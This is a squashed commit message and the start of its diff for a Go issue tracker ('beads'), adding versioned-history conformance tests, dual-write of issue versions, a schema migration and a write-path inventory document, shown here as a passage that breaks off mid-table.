* test(feat): red — Phase 0: conformance suite (history, expectedRevision R16.1, epochs R20) - gastownhall/beads#6133 (refs be-hs42e.1) * feat: green — Phase 0 conformance suite (history, R16.1, R20 epochs) (refs be-hs42e.1) Implements the 32 in-process RunXxx contract cases from be-hs42e.1 §4 (gastownhall/beads#6133): expectedRevision CAS + refusal (R16/R17, 10 cases), the cross-record-invariant boundary (R16.1, 7 cases), and retention/epoch semantics (R20, 15 cases). All hooks nil in every backend's fixture kit per architecture §12 — ships disabled by default, zero behavior change. Also fixes a role-tier coverage-gate false positive: role_bundle_test.go's TestRoleContractCasesCoverEveryContractCase matched any Run*(t, ctx, XxxFixture) function in the package with no scoping, incorrectly sweeping in these new history-semantics functions. Scoped via roleTierFixtureNames() (reflection over RoleContractBundle's field types) so only functions whose Fixture type is an actual bundle field count as role-tier cases. * feat: green — Review: Phase 0: conformance suite (history, expectedRevision R16.1, epochs R20) - gastownhall/beads#6133 (refs be-zv3ob) Wire the 32 new R16/R16.1/R20 role-contract entrypoints (expected_revision, cross_record_invariant, retention, epoch) into all three storage legs so TestEveryLegWiresEveryRoleContract passes on dolt, embeddeddolt, and uow — fixing the round-1 review's blocking finding (gastownhall/beads#6133). Each new per-leg _test.go file follows the existing wiring convention (one TestXxxContract per role, one t.Run per case, calling conformance.RunXxx) with the same all-nil Phase 0 fixtures used everywhere else this phase, so every case skips by name until Phase 3 gives it a non-nil hook. Also corrects a stale comment in versioned_history_wiring_test.go that argued against per-leg wiring files exactly like the ones this commit adds. No other behavior change: wiring only, no new dependency, no scope beyond the reviewer's named blocking issue. * chore: release gate PASS for Phase 0 conformance suite (be-e0w8y) Review: be-g8mp3 (PASS). Deploy bead: be-e0w8y. Refs be-e0w8y, be-g8mp3, be-hs42e.1, be-zv3ob. * feat: green — Review round 2: Phase 0 conformance suite (bounds assertion, RetentionAnswer fields) - gastownhall/beads#6147 (refs be-ekp0w) Fix bee-ghosttrack's round-2 MERGE-AFTER-FIXES review on PR #6147 (comment 5504085482): - RunAHoldPreventsRemovalAndReportsInRetainedBounds now asserts BOTH refusal (ErrRetentionHeld) AND that the held Address shows up positively in the reported RetainedWindow bounds, not merely inferred from the absence of a Gone restriction (R20-h). - RetentionAnswer gains Attribution *ChangeAttribution and Epoch *int. RunForcingAHeldRemovalRecordsWhoWhenWhy now asserts real attribution content (R20-h2) instead of accepting it only as a parameter. RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed now asserts Restriction=GoneReorganization AND the current epoch is named (R20-n). Reviewer-sanctioned, taken in the same pass: - RetentionFixture gains a Mint hook (analogous to EpochFixture.MintUnderEpoch); every retention case that needs a real, resolvable Address now mints one instead of relying on the retired "fabricated address defaults to Live" convention. The one exception, RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone, keeps the old fabricated-address helper on purpose: Unknown specifically means an Address no store ever minted. - RunStoreInvariantTransactionScopesExactlyTheSpanningRecords adds a post-refusal read-back via CountHistoryForSubject, pinning that a refused cross-record batch is atomic (leaves no trace on either record), as an inline nil-check rather than a t.Skip. - Refusal's doc comment now states the fixture kit is the translation boundary between whatever shape a real backend ships and the one shape this suite asserts against — not a mandate banning a native typed-error refusal shape at the backend level. - Package doc comment in expected_revision_contract.go records four reviewer-named deferrals verbatim (unretained/disclosure-gating as a future authorization axis rather than a sixth Restriction state; invariant-declaration discoverability; lease TTL self-expiry; R20-j durability-across-restart) and notes the "_attribution" patch-key convention as canonical for Phase 3 hook docs. §4a's choice-vs-transcription table (this file's package doc comment) already marks choices 2 and 3 DIED as of this round; no separate callout-row table exists elsewhere in the repo. No other behavior change: all touched Run* entrypoints still skip by name under Phase 0's all-nil fixtures on every leg (confirmed via TestVersionedHistoryPhase0RunsInFullSkipMode and TestEveryLegWiresEveryRoleContract), no new dependency, no scope beyond the reviewer's named findings. * feat: green — Review round 3: Phase 0 conformance suite (nil-hook logging, retained-bounds assertion, stale comment) - gastownhall/beads#6147 (refs be-gw08e) bee-ghosttrack round-2 review (2026-09-03T01:03Z, MERGE-AFTER-FIXES): - cross_record_invariant_contract.go:158,178 — log which half of the atomicity read-back goes unverified when CountHistoryForSubject is nil, matching the file's existing skip-by-name convention (:327-328). - retention_epoch_contract.go:511 — RunAHoldPreventsRemovalAndReportsInRetainedBounds asserted both RetainedWindow bounds equal the held Address, on the assumption nothing else was ever minted in this store. That assumption doesn't hold: IssuePrefix is a static per-package string (internal/storage/uow/retention_epoch_contract_test.go:17), not randomized per run, so a persistent backend's second run would fail this for the wrong reason. Weakened to at-least-one-bound. - retention_epoch_contract.go:60-61 — fixed a stale "those two cases still use" comment; retentionAddress's own doc comment already names RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone as sole caller. PR body's choice-vs-transcription callout table updated separately (ten -> eight rows; the R20-h2 and R20-baseline rows described choices this same review round already marked DIED in source). * test(feat): red — Implement Phase 2 dual-write history behind flag - gastownhall/beads#6135 (refs be-0uifx) * feat: green — Implement Phase 2 dual-write history behind flag - gastownhall/beads#6135 (refs be-0uifx) * test(issueops): red — Phase 2 dual-write: re-seat builder/be-0uifx onto the merged base + add attribution_status (§16.4) — preempt the known review bounce (refs be-v33pa) * fix(issueops): green — Phase 2 dual-write: re-seat builder/be-0uifx onto the merged base + add attribution_status (§16.4) — preempt the known review bounce (refs be-v33pa) Migration 0068 step 6 only (VARCHAR(20) NOT NULL on issue_versions); RecordVersionInTx derives it from the actor string it already receives via attributionStatusForActor (non-empty -> supplied, empty -> undetermined; not_supplied/imported are schema-valid but unreached by any of the 7 current call sites). CLI-bundle direct-DDL override added per dolthub/dolt#11345. Two pre-existing raw-SQL issue_versions fixtures updated for the new NOT NULL column. * chore(release-gates): add be-764ey deploy gate record (Phase 2 dual-write) Factory release gate for be-764ey / gastownhall/beads#6135, PR #6358 (supersedes draft #6354). 7/7 PASS, no waivers — independent full-suite run (97 packages ok, 0 FAIL, 0 SKIP), gofmt/vet clean, two pre-existing non-blocking lint/policy findings attributed to be-2l6n8/be-xzg59. * chore(ci): no-op commit to retrigger checks — code identical to 4179638; the macOS lane failed on runner disk I/O errors (see PR #6358 discussion) * fix(history): attribution_status is claimed|unknown (BDP-aligned); document ordinals as local and the flag as single-writer-only Per donnabox's review on #6358 items 1-3: align issue_versions.attribution_status to bdp#18's carried-attribution vocabulary (claimed | unknown), drop the unreachable not_supplied and the provenance-not-assertion imported; state that current_revision/revision are local ordinals and version_id is the only durable address; document VersionedHistoryConfigurer as single-writer-only until 0068 steps 1-3 land. * fix(history): durable_state is LONGBLOB holding the RFC 8785 canonical form Per donnabox's review on #6358 item 4: Dolt's JSON type renormalizes numbers, so a JSON column cannot keep the verbatim-bytes promise (R5.1) or back a content-derived token. Migration 0068 step 7 retypes issue_versions.durable_state to LONGBLOB (guarded PREPARE, CLI-bundle override extended), RecordVersionInTx stores the JCS canonical bytes of the marshalled issue so sha256(stored) is a stable token, and the all-migrations shape test pins longblob. * build(nix): bump vendorHash for github.com/gowebpki/jcs v1.0.1 The JCS canonicalizer added on this branch changes go.sum, so the fixed-output go-modules derivation hash moves. Recomputed on the rebase onto main at 71c4cd08b. The merged module graph is main's v1.3.0 dependency and toolchain bumps (#6047) plus this branch's gowebpki/jcs v1.0.1, so neither side's pre-rebase hash applies: main's was computed without jcs, and this branch's was computed against the older dependency set. The value here was extracted from nix's own hash-mismatch report and then verified by a clean nix build .#default. * style(history): marshaled, not marshalled (misspell lint) * fix(history): mint a version on every accepted issue-plane mutation, last in the transaction, on every leg Per the write-path inventory on #6135 (donnabox's item 5 on #6358): the seam was reached from 3 of 57 journaled entry points. Close, reopen, claim, unclaim/release, lease reclaim, defer wake, label add/remove, promote and persistence moves now mint; update's label/parent patches and batch-create edges are applied before the mint so durable_state carries them; dependency add/remove mint at the lowest helper on all legs (uow and legacy verbs included) with the editor's duplicate call removed. version_completeness_test.go pins the set. * docs(history): issue-plane write-path inventory with Phase 2 dispositions The table donnabox asked for on #6358 (item 5), derived from the code rather than the design's count, with the dispositions that changed after a14f48b17 and the caveats that remain. * docs(history): write-path doc: the seam has 27 call sites after a14f48b17, not "exactly six" The sentence "is reached from exactly six call sites" described the tree at 321a79278 in the present tense, in a doc whose header already says those rows changed after the completeness fix. It now scopes the six to that commit and points at a new section listing the 27 sites (18 in issueops, 9 in domain/db) verified with grep over non-test files at d484b809d, with the enclosing function for each. The "29 sites" figure quoted in the PR thread was an over-count; 27 is the measured number. The unchanged-re-import caveat now records that the journal seam sits in the same position: RecordEventInTx(EventCreate) at create.go:207 runs on every accepted upsert (only the events-table write behind the isNew gate at create.go:171 is skipped), so a field-level no-op gate belongs in front of both seams, not the version seam alone. Doc only; no Go change. * fix(history): seed store_epoch once per store, state the fail-closed canonicalization policy, and say single writer means one at a time From bee-ghosttrack's round-1 review of #6358. - store_epoch (nit): RecordVersionInTx ran INSERT IGNORE INTO store_epoch on every mint, putting one shared row (id = 1) into every write transaction's footprint. It now reads first and seeds only when the row is absent, so the seed happens once per store. Same result, one fewer write per versioned mutation. - canonicalDurableState (MINOR-4): the comment now states the two properties a hand-rolled canonicalizer would get wrong -- jcs.Transform normalizes away encoding/json's HTML escaping, so the token is a function of content, not of Go's escaping policy; and a snapshot that cannot be canonicalized deliberately fails the mutation. Duplicate keys in an issue's metadata (a json.RawMessage, reachable via bd sql or a hand- written JSONL import) make the seam return an error with the flag on. Fail-closed is the policy for now; normalizing first, or finding such rows with bd doctor, is gastownhall/beads#6379 item 3. - Single writer (MINOR-5): the constraint in version_history.go, storage.go and the 0068 header now says one writer AT A TIME per store, not merely one clone -- MAX(revision)+1 is not a safe allocator for two concurrent transactions in one store either, and no contract case runs concurrent writers. gastownhall/beads#6379 item 4. - RecordVersionInTx doc (nit): IsWisp is Ephemeral || NoHistory, so a promoted no-history bead is also never versioned; stated as what no-history means rather than as an FR-8 wisp rule. No behaviour change beyond the one fewer INSERT. Gates: gofmt, go build, go vet, golangci-lint v2.10.1 (0 issues), issueops, the five embedded-Dolt version suites, scripts/check-migration-hygiene.sh. * docs(history): restate the write-path doc at this head; keep the 321a79278 inventory under a dated heading bee-ghosttrack's MINOR-2 on #6358: the table and notes were written in the present tense against 321a79278, so as merged the doc said close was OUT OF CONTRACT and that no completeness test existed, beside the code that ships both. The doc now has two parts. "Dispositions at this head" carries a table of every row whose disposition changed after a14f48b17 (rows 13-23, 25, 27, 34) with the mechanism and line for each, the counts at this head (21 VERSIONED, 13 OUT OF CONTRACT, 5 no-op gates), the deferred items, the seam call sites, and notes that are true now. "As found at 321a79278" keeps the original table and notes verbatim as the record of what the review found, with a sentence saying which rows it no longer describes. Also: row 13 now says wisp or promoted no-history bead (nit); the flag-off sentence says behaviourally a no-op at the seam but not literally zero added work (nit); the flag-on prerequisites point at gastownhall/beads#6379. * test(history): a call passing mintVersion=false is not a minting edge (reviewer MINOR-1) The versioned-history guard's fixpoint treated "textually calls RecordVersionInTx, directly or transitively" as the mint predicate, so a call to a helper with mintVersion=false still counted as a minting edge. Reviewer Probe 2 on #6358 showed the consequence: deleting ExecuteUpdate's own final `if changedAny { RecordVersionInTx(...) }` block left the whole issueops package green, because the fixpoint credited ExecuteUpdate with the mints of the very constituents it had told not to mint. journalscan now records each function's parameter names and each call's reduced argument list (bare identifier or literal per argument), and exposes CallsOnlyWithLiteralFalse(fns, f, callee, gate): true only when every call f makes to callee passes the predeclared false for callee's parameter named gate. A call passing true, a variable, the caller's own parameter, or too few arguments keeps its edge, as does a callee without the parameter. Existing callers (IdentCalls, SelCalls, Fixpoint) are unchanged; the resolve closure is merely lifted to a package function. versionMintEdges drops the switched-off edges, and a new TestCompositeMutationsCarryTheirOwnMint pins that ExecuteUpdate, applyLabelPatch and applyParentPatch each call the seam themselves and that none of their remaining edges reaches it. Verified: full issueops package green on the unmodified tree. Probe 2 (delete ExecuteUpdate's final mint block) now fails TestCompositeMutationsCarryTheirOwnMint, TestEveryVersionedEntryPointMints and TestEveryBeadMutatorMintsOrIsExempt, all naming ExecuteUpdate; the same probe against the previous guard stays green. Probe 1 (delete the close mint) still fails TestEveryVersionedEntryPointMints and TestEveryBeadMutatorMintsOrIsExempt naming CloseIssueInTx, CloseIssueWithoutEventInTx, CloseIssueCheckedInTx and ExecuteClose. The exemption tables are untouched. * test(history): pin the uow leg's 1+N+M create divergence as a red-when-fixed test (reviewer MINOR-3) TestDualWriteContract's Mutate closure creates an issue with no labels and no dependencies, so its "exactly one version row per accepted mutation" case cannot see what a fuller create does on the uow leg: domain.IssueUseCase.CreateIssue inserts the row and then persists each label and each edge through its own repository (domain/db label.go, dependency.go), and every one of those writes reaches issueops.RecordVersionInTx on its own. The direct legs mint exactly one row for the same shape (CreateIssuesInTxWithContext mints once per issue after the creation-time edges land). TestUOWCreateWithLabelAndEdgeMintsPerRepositoryWrite_KnownDivergence creates an issue through the uow leg with exactly one label and one blocks edge and asserts the MEASURED count of issue_versions rows: 3 (1 issue + 1 label + 1 edge), matching the 1+N+M prediction. It also checks the label and edge actually landed, and that the bare-shape target seeded through the same leg holds exactly 1 row, so the two extra rows are attributable to the label and the edge. A t.Log line and the doc comment name the follow-up as gastownhall/beads# (to be substituted before push) and state that the test is expected to FLIP to 1 when it lands. The provider boot + flag enablement is lifted out of newUOWDualWriteFixture into newUOWVersionedHistoryProvider so the new test shares it; the existing contract cases and the fixture closures are unchanged. Runs on the same backend and skips as its neighbours (a real dolt sql-server, gated by testutil.RequireDoltBinary; no extra env needed). Verified: go test -count=1 -run 'TestDualWrite|TestUOWCreateWithLabelAndEdge' ./internal/storage/uow/ passes. * test(history): pin canonicalDurableState to the RFC 8785 vectors, key order, HTML escapes and duplicate keys TestCanonicalDurableStateIsJCS covered only number forms. It is now table-driven over: - the ten RFC 8785 test vectors that ship with github.com/gowebpki/jcs v1.0.1 (Apache-2.0), copied verbatim to internal/storage/issueops/testdata/jcs/{input,expected} with a README.md recording their provenance (upstream's "output" directory is named "expected" here because the repository's .gitignore drops any output/ tree); the count is pinned so an emptied directory cannot pass as a vacuous table; - a unicode/astral key-ordering case: {"b":1,"a":2,"é":3,"A":4,"😀":5} canonicalizes to {"A":4,"a":2,"b":1,"é":3,"😀":5} (UTF-16 code-unit order, so the astral key sorts after "é"); - an HTML-escape case: a string value &"' comes out as "&\"'" with no <-style escaping, plus a companion subtest proving plain json.Marshal DOES emit --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- VERSIONED-BEADS-WRITE-PATHS.md | 156 +++ .../cross_record_invariant_contract.go | 372 +++++++ .../conformance/dependency_editor_contract.go | 280 +++++ .../conformance/dualwrite_history_contract.go | 344 ++++++ .../conformance/expected_revision_contract.go | 599 +++++++++++ .../conformance/retention_epoch_contract.go | 986 ++++++++++++++++++ backend/conformance/role_bundle.go | 1 + backend/conformance/role_bundle_cases.go | 20 + backend/conformance/role_bundle_test.go | 71 +- .../versioned_history_wiring_test.go | 133 +++ default.nix | 2 +- go.mod | 1 + go.sum | 2 + .../cross_record_invariant_contract_test.go | 41 + .../dolt/dependency_editor_contract_test.go | 28 +- .../dolt/dualwrite_history_contract_test.go | 226 ++++ .../dolt/expected_revision_contract_test.go | 50 + ...schema_0067_versioned_beads_replay_test.go | 4 +- .../dolt/retention_epoch_contract_test.go | 72 ++ internal/storage/dolt/store.go | 29 +- internal/storage/domain/db/dependency.go | 46 +- .../db/dependency_null_metadata_test.go | 57 + internal/storage/domain/db/issue.go | 21 +- internal/storage/domain/db/label.go | 15 +- .../cross_record_invariant_contract_test.go | 43 + .../dependency_editor_contract_test.go | 28 +- .../dependency_editor_version_history_test.go | 113 ++ .../dualwrite_history_contract_test.go | 133 +++ .../expected_revision_contract_test.go | 52 + .../retention_epoch_contract_test.go | 74 ++ internal/storage/embeddeddolt/store.go | 13 + .../version_completeness_behaviour_test.go | 311 ++++++ internal/storage/issueops/aggregate.go | 44 +- internal/storage/issueops/claim.go | 22 +- internal/storage/issueops/close.go | 9 +- internal/storage/issueops/create.go | 42 + internal/storage/issueops/dependencies.go | 111 +- .../storage/issueops/dependencies_test.go | 91 ++ .../storage/issueops/dependency_editor.go | 8 + internal/storage/issueops/execution.go | 24 +- .../issueops/journal_completeness_test.go | 22 +- internal/storage/issueops/labels.go | 56 +- internal/storage/issueops/lease.go | 6 + internal/storage/issueops/persistence.go | 30 +- internal/storage/issueops/promote.go | 7 +- internal/storage/issueops/reopen.go | 7 +- .../storage/issueops/row_lock_guard_test.go | 14 + .../storage/issueops/testdata/jcs/README.md | 18 + .../testdata/jcs/expected/arrays.json | 1 + .../issueops/testdata/jcs/expected/false.json | 1 + .../testdata/jcs/expected/french.json | 1 + .../issueops/testdata/jcs/expected/null.json | 1 + .../testdata/jcs/expected/simpleString.json | 1 + .../testdata/jcs/expected/structures.json | 1 + .../issueops/testdata/jcs/expected/true.json | 1 + .../testdata/jcs/expected/unicode.json | 1 + .../testdata/jcs/expected/values.json | 1 + .../issueops/testdata/jcs/expected/weird.json | 1 + .../issueops/testdata/jcs/input/arrays.json | 8 + .../issueops/testdata/jcs/input/false.json | 1 + .../issueops/testdata/jcs/input/french.json | 6 + .../issueops/testdata/jcs/input/null.json | 1 + .../testdata/jcs/input/simpleString.json | 1 + .../testdata/jcs/input/structures.json | 8 + .../issueops/testdata/jcs/input/true.json | 1 + .../issueops/testdata/jcs/input/unicode.json | 3 + .../issueops/testdata/jcs/input/values.json | 5 + .../issueops/testdata/jcs/input/weird.json | 11 + internal/storage/issueops/unclaim.go | 8 +- internal/storage/issueops/update.go | 18 +- .../issueops/version_completeness_test.go | 589 +++++++++++ internal/storage/issueops/version_history.go | 260 +++++ .../version_history_durable_state_test.go | 228 ++++ .../storage/issueops/version_history_test.go | 61 ++ internal/storage/issueops/wake_defers.go | 5 + internal/storage/journalscan/journalscan.go | 192 +++- .../storage/journalscan/journalscan_test.go | 203 +++- internal/storage/schema/cli_migrations.go | 22 + .../migration_0067_versioned_beads_test.go | 27 +- ...ration_0068_add_attribution_status_test.go | 170 +++ .../0068_add_attribution_status.down.sql | 44 + .../0068_add_attribution_status.up.sql | 106 ++ internal/storage/schema/schema_test.go | 9 + internal/storage/storage.go | 24 + .../cross_record_invariant_contract_test.go | 41 + .../uow/dependency_editor_contract_test.go | 27 +- internal/storage/uow/dolt_sql_provider.go | 29 +- internal/storage/uow/doltserver_tx.go | 15 + .../uow/dualwrite_history_contract_test.go | 229 ++++ .../uow/expected_revision_contract_test.go | 50 + internal/storage/uow/notifying.go | 10 + internal/storage/uow/notifying_parity_test.go | 12 +- .../uow/retention_epoch_contract_test.go | 72 ++ 93 files changed, 7190 insertions(+), 150 deletions(-) create mode 100644 VERSIONED-BEADS-WRITE-PATHS.md create mode 100644 backend/conformance/cross_record_invariant_contract.go create mode 100644 backend/conformance/dualwrite_history_contract.go create mode 100644 backend/conformance/expected_revision_contract.go create mode 100644 backend/conformance/retention_epoch_contract.go create mode 100644 backend/conformance/versioned_history_wiring_test.go create mode 100644 internal/storage/dolt/cross_record_invariant_contract_test.go create mode 100644 internal/storage/dolt/dualwrite_history_contract_test.go create mode 100644 internal/storage/dolt/expected_revision_contract_test.go create mode 100644 internal/storage/dolt/retention_epoch_contract_test.go create mode 100644 internal/storage/domain/db/dependency_null_metadata_test.go create mode 100644 internal/storage/embeddeddolt/cross_record_invariant_contract_test.go create mode 100644 internal/storage/embeddeddolt/dependency_editor_version_history_test.go create mode 100644 internal/storage/embeddeddolt/dualwrite_history_contract_test.go create mode 100644 internal/storage/embeddeddolt/expected_revision_contract_test.go create mode 100644 internal/storage/embeddeddolt/retention_epoch_contract_test.go create mode 100644 internal/storage/embeddeddolt/version_completeness_behaviour_test.go create mode 100644 internal/storage/issueops/testdata/jcs/README.md create mode 100644 internal/storage/issueops/testdata/jcs/expected/arrays.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/false.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/french.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/null.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/simpleString.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/structures.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/true.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/unicode.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/values.json create mode 100644 internal/storage/issueops/testdata/jcs/expected/weird.json create mode 100644 internal/storage/issueops/testdata/jcs/input/arrays.json create mode 100644 internal/storage/issueops/testdata/jcs/input/false.json create mode 100644 internal/storage/issueops/testdata/jcs/input/french.json create mode 100644 internal/storage/issueops/testdata/jcs/input/null.json create mode 100644 internal/storage/issueops/testdata/jcs/input/simpleString.json create mode 100644 internal/storage/issueops/testdata/jcs/input/structures.json create mode 100644 internal/storage/issueops/testdata/jcs/input/true.json create mode 100644 internal/storage/issueops/testdata/jcs/input/unicode.json create mode 100644 internal/storage/issueops/testdata/jcs/input/values.json create mode 100644 internal/storage/issueops/testdata/jcs/input/weird.json create mode 100644 internal/storage/issueops/version_completeness_test.go create mode 100644 internal/storage/issueops/version_history.go create mode 100644 internal/storage/issueops/version_history_durable_state_test.go create mode 100644 internal/storage/issueops/version_history_test.go create mode 100644 internal/storage/schema/migration_0068_add_attribution_status_test.go create mode 100644 internal/storage/schema/migrations/0068_add_attribution_status.down.sql create mode 100644 internal/storage/schema/migrations/0068_add_attribution_status.up.sql create mode 100644 internal/storage/uow/cross_record_invariant_contract_test.go create mode 100644 internal/storage/uow/dualwrite_history_contract_test.go create mode 100644 internal/storage/uow/expected_revision_contract_test.go create mode 100644 internal/storage/uow/retention_epoch_contract_test.go diff --git a/VERSIONED-BEADS-WRITE-PATHS.md b/VERSIONED-BEADS-WRITE-PATHS.md new file mode 100644 index 000000000..887816aad --- /dev/null +++ b/VERSIONED-BEADS-WRITE-PATHS.md @@ -0,0 +1,156 @@ +# Versioned Beads: issue-plane write paths and their Phase 2 disposition + +This document has two parts. **Dispositions at this head** is the current inventory: every row whose disposition changed after the completeness fix a14f48b17 (merged as 5098ec85f), the seam's call sites at this head, and notes that are true now. **As found at 321a79278** is the review artifact this PR started from — the table donnabox's item 5 on #6358 asked for, derived before the completeness fix — kept verbatim under a dated heading because it is the record of what the review found. Wherever the two parts differ, the current part wins; a reader citing a row number should cite it from the current part. + +## Dispositions at this head + +Status after a14f48b17 (merged as 5098ec85f on `deploy/be-764ey-gate`): the table below was derived from the tree at 321a79278, before the completeness fix, and is kept as the record of what the review found. Since that commit the following rows changed disposition: + +- Rows 17-23, 25 and 27 (close, reopen, claim, unclaim/release, lease reclaim, defer wake, label add/remove, promote, persistence move) are now **VERSIONED**: each mints once, after its row write and event, gated on a row actually changing. +- Rows 14-16 (legacy `AddDependency`/`RemoveDependency` verbs, the uow dependency repository, batch-apply structural adds) are now **VERSIONED** through the lowest-level helpers `addDependencyInTx`/`removeDependencyInTx` (mint gated on the row insert/delete); the publicops editor's own mint call was removed so no leg double-mints. +- Ordering: `ExecuteUpdate` mints once, after field, label, parent and persistence patches; batch create mints per issue after its creation-time edges are persisted, so the first version carries the outgoing edge set. +- `version_completeness_test.go` (46 must-mint entry points, exemption table with reasons, never-mints inverse guard) and `embeddeddolt/version_completeness_behaviour_test.go` pin the set at runtime. + +The seam is `issueops.RecordVersionInTx` in internal/storage/issueops/version_history.go (line 87 at 321a79278; cite the function rather than a line at later heads, since comment edits move it), which sits beside the events-journal seam `issueops.RecordEventInTx` (journal.go:309). At 321a79278 it was reached from exactly six call sites: create.go:196, update.go:547, dependency_editor.go:181 and :272, and domain/db/issue.go:87/:102 (`Insert`) and :339 (`Update`); after a14f48b17 it is reached from 27 (18 in issueops, 9 in domain/db), listed in the section "Seam call sites after the completeness fix" below. Dispositions: **VERSIONED** = reaches `RecordVersionInTx` and mints an `issue_versions` row plus the `current_revision` bump; **NO-OP** = discarded before the seam (`DiscardNoopIssueUpdates`, the dependency editor's `eventWritten` gate, create's early returns, or the wisp exclusion); **OUT OF CONTRACT** = mutates an issue-plane row (issues, wisps, dependencies, labels, comments and wisp_* twins) without ever calling the seam. Paths are under `internal/storage/` unless they start with `cmd/`, `internal/compact/` or `backend/`. Checkout: /var/tmp/mayor-beads-phase2 @ deploy/be-764ey-gate; all line numbers are against commit 321a79278, the HEAD when this inventory was read (see the last note on drift). + +### Rows whose disposition changed after a14f48b17 + +Row numbers are the historical table's. Line numbers in this table are against the Go tree at this head (unchanged since 5098ec85f). + +| # | Path | Version seam at this head | Disposition | Mechanism | +|---|---|---|---|---| +| 13 | any of rows 1-8 whose target row is a wisp **or a promoted no-history bead** | no | NO-OP | `RecordVersionInTx` returns on `IsWisp`, which is `Ephemeral \|\| NoHistory` (helpers.go:36-41): wisps per FR-8, and a promoted no-history bead — a durable issues-plane row with `NoHistory=true` — because no-history means no history. Wording only; the code did not change. | +| 14 | dependencies.go:`addDependencyInTx` via `AddDependencyInTx` from the store verbs, `ApplyParentPatch`, `applyBatchRun.applyDepAdd` | yes | VERSIONED | mint moved into `addDependencyInTx` (`mintDependencyVersion`, dependencies.go:393), gated on the row insert rather than on `eventWritten`; the publicops editor's own mint call was removed so no leg double-mints | +| 15 | domain/db/dependency.go:`dependencySQLRepositoryImpl.Insert` (uow `AddDependencies`, create-time edges) | yes | VERSIONED | seam at dependency.go:228 and :240 after the insert | +| 16 | dependencies.go:`removeDependencyInTx` via `RemoveDependencyInTx` and domain/db/dependency.go:`Delete` | yes | VERSIONED | gated on the row delete; dependency.go:409 on the uow leg | +| 17 | close.go:`closeIssueInTx` (all close variants; `ExecuteCloseBatch` loops it; domain/db `Close`/`CloseChecked`) | yes | VERSIONED | close.go:394, after the row write and event, gated on the row changing | +| 18 | reopen.go:`reopenIssueInTx` | yes | VERSIONED | reopen.go:126 | +| 19 | claim.go:`claimIssueInTx` and domain/db/issue.go:`Claim` | yes | VERSIONED | claim.go:239 and issue.go:551; `ExecuteUpdate`'s Claim flag passes `mintVersion=false` and mints once at its own end | +| 20 | unclaim.go:`finishUnclaimInTx` (unclaim, release) | yes | VERSIONED | unclaim.go:137 | +| 21 | lease.go:`ReclaimExpiredLeasesInTx` | yes | VERSIONED | lease.go:786 | +| 22 | wake_defers.go:`wakeExpiredDefersInTable` | yes | VERSIONED | wake_defers.go:143 | +| 23 | labels.go:`addLabelInTx` / `removeLabelInTx` and domain/db/label.go:`Insert` / `Delete` | yes | VERSIONED | labels.go:190 and :239 gated on `RowsAffected() > 0`; label.go:91 and :130; `applyLabelPatch` (aggregate.go:360) mints only when called outside `ExecuteUpdate` | +| 25 | promote.go:`PromoteFromEphemeralInTx` | yes | VERSIONED | promote.go:141, after the label, dependency and comment copies | +| 27 | persistence.go:`moveIssuePersistenceInTx` | yes | VERSIONED | persistence.go:76 and :153; `ExecuteUpdate` passes `mintVersion=false` and mints once at its own end | +| 34 | batch_apply.go:`applyBatchRun` | yes, per item | VERSIONED | its create/update/close items reach rows 1/2, 5/6 and 17; its dep-add items reach `addDependencyInTx`, which now mints (row 14) | + +Rows not listed keep the disposition shown in the historical table: rows 1-8 VERSIONED; rows 9-12 NO-OP gates inside them; rows 24, 26, 28-33 and 35-39 OUT OF CONTRACT; row 40 writes no issue-plane row; row 41 is Phase 3. + +### Counts at this head + +Of the 34 live issue-plane write paths (rows 1-8 and 14-39), **21 are VERSIONED** (rows 1-8, 14-23, 25, 27, 34) and **13 are OUT OF CONTRACT** (rows 24, 26, 28-33, 35-39); rows 9-13 are the no-op gates inside the versioned ones. The out-of-contract set is what the design puts out of contract: comments (not part of the snapshot), is_blocked flips, delete, rename and demote (Phase 3's deleted-Versioned-Bead guarantee), compaction bookkeeping and restore, migrations, merge-settle, doctor fixes and raw SQL. + +### Still deferred + +Still true and deliberately out of contract or deferred: an unchanged re-import of an existing row mints a version (create has no field-level no-op gate — and the journal seam sits in the same position: `RecordEventInTx(EventCreate)` at create.go:207 runs on every accepted upsert, only the events-table write behind the `isNew` gate at create.go:171 is skipped, so a no-op gate belongs in front of both seams, not the version seam alone); the uow leg mints per repository write, so a domain create with N labels and M edges yields 1+N+M versions where the direct legs yield one (each a distinct accepted state; follow-up); demote-to-wisp and delete/rename strand version rows because `issue_versions` has no FK to `issues` (Phase 3's deleted-Versioned-Bead guarantee); compaction bookkeeping, restore, migrations, merge-settle, doctor fixes and `bd sql` remain out of contract by design. The flag-off contract is behaviourally a no-op at the seam (`RecordVersionInTx` returns before any query) but not literally zero added work: labels.go's `RowsAffected` gate and the per-transaction `sync.Map` entry run with the flag off; the differential harness that would prove the stronger claim is not in this PR. The items that become live the first time the flag is on — the uow leg's 1+N+M, the re-import no-op gate on both seams, duplicate-key metadata, the single-writer allocator, and the `attribution_status` vocabulary being enforced only in Go — are tracked together in gastownhall/beads#6379. + +### Seam call sites at this head + +Verified with `grep -rn 'RecordVersionInTx(' internal/ --include='*.go'` over non-test files at d484b809d (the Go tree is unchanged between the merge of a14f48b17 as 5098ec85f and this note): **27 call sites** reach the seam, 18 on the direct legs in `issueops/` and 9 on the uow leg in `domain/db/`. The figure of 29 quoted in the PR thread was an over-count; this table is the correction. Line numbers are against that tree. The 46 "must-mint entry points" pinned by `version_completeness_test.go` are a different count by design: they are the public entry functions whose call graph must reach the seam, not the seam's own call sites. + +Direct legs, `internal/storage/issueops/` (18): + +| File:line | Function | Mutation | +|---|---|---| +| aggregate.go:360 | `applyLabelPatch` | label patch (mints only when used outside `ExecuteUpdate`, which passes `mintVersion=false`) | +| aggregate.go:423 | `applyParentPatch` | parent patch (same rule) | +| claim.go:239 | `claimIssueInTx` | claim | +| close.go:394 | `closeIssueInTx` | close, all variants; `ExecuteCloseBatch` loops it | +| create.go:216 | `CreateIssueInTxWithResult` | singular create and import upsert | +| create.go:384 | `CreateIssuesInTxWithContext` | batch create, per 